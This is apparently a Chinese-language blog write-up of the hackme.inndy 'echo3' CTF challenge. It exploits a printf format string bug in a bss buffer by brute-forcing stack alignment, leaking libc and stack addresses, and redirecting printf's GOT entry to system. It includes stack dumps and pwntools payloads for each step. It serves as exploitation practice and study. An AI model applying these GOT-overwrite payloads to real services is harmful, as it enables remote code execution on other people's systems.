本文最后更新于:星期三, 一月 2日 2019, 4:12 下午
防护机制:
[*] '/home/zs0zrc/pwn/Scoreboard/echo3/echo3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这道题是echo 和echo2的升级版,也是一个格式化字符串漏洞,不过它将printf的格式化字符串放到了bss段上去了。一般来说格式化字符串在bss段的话,就要在栈上构造跳板,通过跳板实现任意地址写。具体点就是,找到栈上指向栈的指针,向指针写入got表地址,然后再通过这实现任意地址写
main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
int fd; // [esp+14h] [ebp-1Ch]
int buf; // [esp+18h] [ebp-18h]
unsigned int v6; // [esp+24h] [ebp-Ch]
int *v7; // [esp+28h] [ebp-8h]
v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(stdout, 0);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("urandom error");
exit(1);
}
read(fd, &buf, 8u);
read(fd, &magic, 4u);
close(fd);
v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));//它在这里做了一个抬栈的操作
hardfmt();
}
这里打开了/dev/urandom文件,读取了8个字节到buf中,读取了4个字节到magic中。并且它利用alloca函数,做了一个抬栈的操作,alloca函数的作用是分配内存,不过是向栈申请内存。在这里被用来抬栈,而且每次都是随机的,所以要先爆破一下,泄露出地址后才进行下一步
stack 的情况
随机抬高后的栈大部分就像这样子
pwndbg> stack 100
00:0000│ esp 0xffffaf1c —▸ 0x804864b (hardfmt+133) ◂— add esp, 0x10
01:0004│ 0xffffaf20 —▸ 0x804a080 (buff) ◂— 'aaaa\n'
... ↓
03:000c│ 0xffffaf28 ◂— 0x1000
04:0010│ 0xffffaf2c ◂— 0x0
05:0014│ 0xffffaf30 ◂— 'n,D*'
06:0018│ 0xffffaf34 ◂— 0x0
... ↓
0c:0030│ 0xffffaf4c —▸ 0x80485d2 (hardfmt+12) ◂— add ebx, 0x1a2e
0d:0034│ 0xffffaf50 ◂— 0x0
... ↓
0f:003c│ 0xffffaf58 —▸ 0xffffaf30 ◂— 'n,D*'
10:0040│ 0xffffaf5c ◂— 0x519ab900
11:0044│ 0xffffaf60 ◂— 0x0
12:0048│ 0xffffaf64 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
13:004c│ ebp 0xffffaf68 —▸ 0xffffcfc8 ◂— 0x0
14:0050│ 0xffffaf6c —▸ 0x804877b (main+236) ◂— mov eax, 0
15:0054│ 0xffffaf70 ◂— 0x0
... ↓
这是我用到的栈情况,可以通过gdb调试,在alloca函数上下个断点,然后通过 set $eax=0x20来获得
pwndbg> stack 100
00:0000│ esp 0xffbf8a6c —▸ 0x804864b (hardfmt+133) ◂— add esp, 0x10
01:0004│ 0xffbf8a70 —▸ 0x804a080 (buff) ◂— 0x35353325 ('%355')
... ↓
03:000c│ 0xffbf8a78 ◂— 0x1000
04:0010│ 0xffbf8a7c ◂— 0x1
05:0014│ 0xffbf8a80 ◂— 0x6c018c2e
06:0018│ 0xffbf8a84 —▸ 0x804829c ◂— add byte ptr [ecx + ebp*2 + 0x62], ch
07:001c│ 0xffbf8a88 —▸ 0xf77ec918 ◂— 0x0
08:0020│ 0xffbf8a8c ◂— 0x0
09:0024│ 0xffbf8a90 —▸ 0xffbf8ace ◂— 0x30804
0a:0028│ 0xffbf8a94 —▸ 0xf75fe018 ◂— stosd dword ptr es:[edi], eax
0b:002c│ 0xffbf8a98 —▸ 0xf765321b (setbuffer+11) ◂— add ebx, 0x151de5
0c:0030│ 0xffbf8a9c —▸ 0x80485d2 (hardfmt+12) ◂— add ebx, 0x1a2e
0d:0034│ 0xffbf8aa0 —▸ 0xf77d67eb (_dl_fixup+11) ◂— add esi, 0x15815
0e:0038│ 0xffbf8aa4 ◂— 0x1
0f:003c│ 0xffbf8aa8 —▸ 0xffbf8a80 ◂— 0x6c018c2e
10:0040│ 0xffbf8aac ◂— 0x3b9d0100
11:0044│ 0xffbf8ab0 —▸ 0xffbf8b18 ◂— 0x0
12:0048│ 0xffbf8ab4 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
13:004c│ ebp 0xffbf8ab8 —▸ 0xffbf8b18 ◂— 0x0
14:0050│ 0xffbf8abc —▸ 0x804877b (main+236) ◂— mov eax, 0
15:0054│ 0xffbf8ac0 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
16:0058│ 0xffbf8ac4 —▸ 0x804a060 (magic) ◂— 0x6c018c2e //偏移为21
17:005c│ 0xffbf8ac8 —▸ 0xf76c92ac (__close_nocancel+18) ◂— mov ebx, edx
18:0060│ 0xffbf8acc —▸ 0x804874a (main+187) ◂— add esp, 0x10
19:0064│ 0xffbf8ad0 ◂— 0x3
1a:0068│ 0xffbf8ad4 —▸ 0x804a060 (magic) ◂— 0x6c018c2e
1b:006c│ 0xffbf8ad8 ◂— 0x4
1c:0070│ 0xffbf8adc —▸ 0x80486a6 (main+23) ◂— add ebx, 0x195a
1d:0074│ 0xffbf8ae0 ◂— 0x8000
1e:0078│ 0xffbf8ae4 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1f:007c│ 0xffbf8ae8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q') //这是选择的跳板
20:0080│ 0xffbf8aec —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3' //
21:0084│ 0xffbf8af0 ◂— 0x1
22:0088│ 0xffbf8af4 ◂— 0x0
23:008c│ 0xffbf8af8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
24:0090│ 0xffbf8afc ◂— 0x3
25:0094│ 0xffbf8b00 ◂— 0x6771084c
26:0098│ 0xffbf8b04 ◂— 0xedf68435
27:009c│ 0xffbf8b08 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
28:00a0│ 0xffbf8b0c ◂— 0x3b9d0100
29:00a4│ 0xffbf8b10 —▸ 0xffbf8b30 ◂— 0x1
2a:00a8│ 0xffbf8b14 ◂— 0x0
... ↓
2c:00b0│ 0xffbf8b1c —▸ 0xf760b637 (__libc_start_main+247) ◂— add esp, 0x10
2d:00b4│ 0xffbf8b20 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
2f:00bc│ 0xffbf8b28 ◂— 0x0
30:00c0│ 0xffbf8b2c —▸ 0xf760b637 (__libc_start_main+247) ◂— add esp, 0x10
31:00c4│ 0xffbf8b30 ◂— 0x1
32:00c8│ 0xffbf8b34 —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'
33:00cc│ 0xffbf8b38 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
34:00d0│ 0xffbf8b3c ◂— 0x0
... ↓
37:00dc│ 0xffbf8b48 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
38:00e0│ 0xffbf8b4c —▸ 0xf77ecc04 ◂— 0x0
39:00e4│ 0xffbf8b50 —▸ 0xf77ec000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
3a:00e8│ 0xffbf8b54 ◂— 0x0
3b:00ec│ 0xffbf8b58 —▸ 0xf77a5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
3d:00f4│ 0xffbf8b60 ◂— 0x0
3e:00f8│ 0xffbf8b64 ◂— 0xc11ec013
3f:00fc│ 0xffbf8b68 ◂— 0x7f634e02
40:0100│ 0xffbf8b6c ◂— 0x0
... ↓
43:010c│ 0xffbf8b78 ◂— 0x1
44:0110│ 0xffbf8b7c —▸ 0x80484b0 (_start) ◂— xor ebp, ebp
45:0114│ 0xffbf8b80 ◂— 0x0
46:0118│ 0xffbf8b84 —▸ 0xf77dd010 (_dl_runtime_resolve+16) ◂— pop edx
47:011c│ 0xffbf8b88 —▸ 0xf77d7880 (_dl_fini) ◂— push ebp
48:0120│ 0xffbf8b8c —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f10 (_DYNAMIC) ◂— 0x1
49:0124│ 0xffbf8b90 ◂— 0x1
4a:0128│ 0xffbf8b94 —▸ 0x80484b0 (_start) ◂— xor ebp, ebp
4b:012c│ 0xffbf8b98 ◂— 0x0
4c:0130│ 0xffbf8b9c —▸ 0x80484e2 (_start+50) ◂— hlt
4d:0134│ 0xffbf8ba0 —▸ 0x804868f (main) ◂— lea ecx, [esp + 4]
4e:0138│ 0xffbf8ba4 ◂— 0x1
4f:013c│ 0xffbf8ba8 —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'
50:0140│ 0xffbf8bac —▸ 0x80487a0 (__libc_csu_init) ◂— push ebp
51:0144│ 0xffbf8bb0 —▸ 0x8048800 (__libc_csu_fini) ◂— ret
52:0148│ 0xffbf8bb4 —▸ 0xf77d7880 (_dl_fini) ◂— push ebp
53:014c│ 0xffbf8bb8 —▸ 0xffbf8bbc —▸ 0xf77ec918 ◂— 0x0
54:0150│ 0xffbf8bbc —▸ 0xf77ec918 ◂— 0x0
55:0154│ 0xffbf8bc0 ◂— 0x1
56:0158│ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3' //偏移为85
57:015c│ 0xffbf8bc8 ◂— 0x0
58:0160│ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q') //偏移为87
59:0164│ 0xffbf8bd0 —▸ 0xffbfa2db ◂— 0x5f474458 ('XDG_')
5a:0168│ 0xffbf8bd4 —▸ 0xffbfa30d ◂— 0x4d4f4e47 ('GNOM')
5b:016c│ 0xffbf8bd8 —▸ 0xffbfa339 ◂— 0x435f434c ('LC_C')
5c:0170│ 0xffbf8bdc —▸ 0xffbfa34e ◂— 0x5f474458 ('XDG_')
5d:0174│ 0xffbf8be0 —▸ 0xffbfa368 ◂— 0x5f474458 ('XDG_')
5e:0178│ 0xffbf8be4 —▸ 0xffbfa37d ◂— 0x495f5451 ('QT_I')
5f:017c│ 0xffbf8be8 —▸ 0xffbfa38f ◂— 'LOGNAME=zs0zrc'
60:0180│ 0xffbf8bec —▸ 0xffbfa39e ◂— 'USER=zs0zrc'
61:0184│ 0xffbf8bf0 —▸ 0xffbfa3aa ◂— 0x48544150 ('PATH')
62:0188│ 0xffbf8bf4 —▸ 0xffbfa43b ◂— 'XDG_VTNR=7'
63:018c│ 0xffbf8bf8 —▸ 0xffbfa446 ◂— 0x4d4f4e47 ('GNOM')
先爆破,泄露出libc地址和栈的地址
while True:
p = process('./echo3')
payload = '%43$p#%30$p'
p.sendline(payload)
data = p.recvuntil('#',drop = True)
if data[-3:] == '637':
break
p.close()
leak_libc = int(data,16) - 247
libc_base = leak_libc - libc.symbols['__libc_start_main']
log.info("libc address {}".format(hex(libc_base)))
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))
stack1 = leak_stack - 0x10c
stack2 = leak_stack - 0x108
因为格式化字符串在bss段上,所以先要在栈上找到指向栈的指针,这里用到的是
1f:007c│ 0xffbf8ae8 —▸ 0xffbf8bcc —▸ 0xffbfa2ba ◂— 0x515f5451 ('QT_Q')
20:0080│ 0xffbf8aec —▸ 0xffbf8bc4 —▸ 0xffbfa2b2 ◂— './echo3'
修改为
1f:007c│ 0xffbf8ae8 —▸ 0xffbf8bcc —▸0x804a000 (_GLOBAL_OFFSET_TABLE_)
20:0080│ 0xffbf8aec —▸ 0xffbf8bc4 —▸0x804a060 (magic)
payload:
payload1 = "%{}c%{}$hn".format(stack1 & 0xffff, 30)
payload1 += "%{}c%{}$hn".format(4, 31)
payload1 += '1111'
这时再通过修改0xffbf8bcc和0xffbf8bc4 的内容为 print_got和printf_got+2
32:00c8│ 0xffbf8b34 —▸ 0xffbf8bc4 —▸ 0xffbf8ac4 —▸ 0x804a014
33:00cc│ 0xffbf8b38 —▸ 0xffbf8bcc —▸ 0xffbf8ac0 —▸ 0x804a016
payload:
payload2 = "%{}c%{}$hn".format(printf_got & 0xffff, 85)
payload2 += "%{}c%{}$hn".format(2, 87)
payload2 += "2222"
最后向printf_got中写入system函数地址,发送’/bin/sh\x00’字符串,getshell
payload:
payload3 = "%{}c%{}$hhn".format(system>> 16 & 0xff, 20)
payload3 += "%{}c%{}$hn".format((system& 0xffff) - (system >> 16 & 0xff), 21)
payload3 += "3333"
hackme.inndy_writeup writeup pwn
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!